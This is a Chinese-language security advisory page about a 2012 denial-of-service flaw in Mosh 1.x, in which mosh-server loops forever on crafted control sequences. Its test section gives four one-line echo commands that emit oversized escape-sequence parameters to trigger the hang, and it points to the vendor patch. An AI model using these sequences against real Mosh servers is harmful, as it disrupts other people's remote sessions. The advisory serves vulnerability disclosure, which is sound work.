发布日期：2012-05-21
更新日期：2012-05-23受影响系统：
Mosh Mosh 1.x
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 53646Mosh是代替SSH的移动壳，允许漫游、支持断点连接、提供智能本地回应和用户击键行编辑的远程终端应用，可用于GNU/Linux、FreeBSD、Mac OS X。mosh-server在处理命令时存在错误，可被利用传递控制符到服务器并触发无限循环。<*来源：Timo Juhani Lindfors （timo.lindfors@iki.fi）
链接：http://secunia.com/advisories/49260/
https://github.com/keithw/mosh/issues/271
*>测试方法：
--------------------------------------------------------------------------------警 告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！echo -en "e[2147483647L"
echo -en "e[2147483647M"
echo -en "e[2147483647@"
echo -en "e[2147483647P"建议：
--------------------------------------------------------------------------------
厂商补丁：Mosh
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://mosh.mit.edu/HAProxy Trash缓冲区溢出漏洞Symantec Endpoint Protection本地权限提升漏洞（CVE-2012-0289）相关资讯 拒绝服务漏洞
- 数字签名拒绝服务漏洞（CVE-2013- （11/13/2013 12:25:03）
- Intel 82574L Gigabit Ethernet （03/01/2013 21:09:03）
- Wireshark DTN Dissector 拒绝服务 （02/03/2013 10:37:43）
| - Rockwell Automation FactoryTalk （04/10/2013 09:08:12）
- IBM WebSphere Message Broker多个 （03/01/2013 21:04:45）
- HP XP P9000 Command View （02/03/2013 10:36:32）
|
本文评论 查看全部评论 （0）
评论声明- 尊重网上道德，遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
- 参与本评论即表明您已经阅读并接受上述条款
|
|
易网时代-编程资源站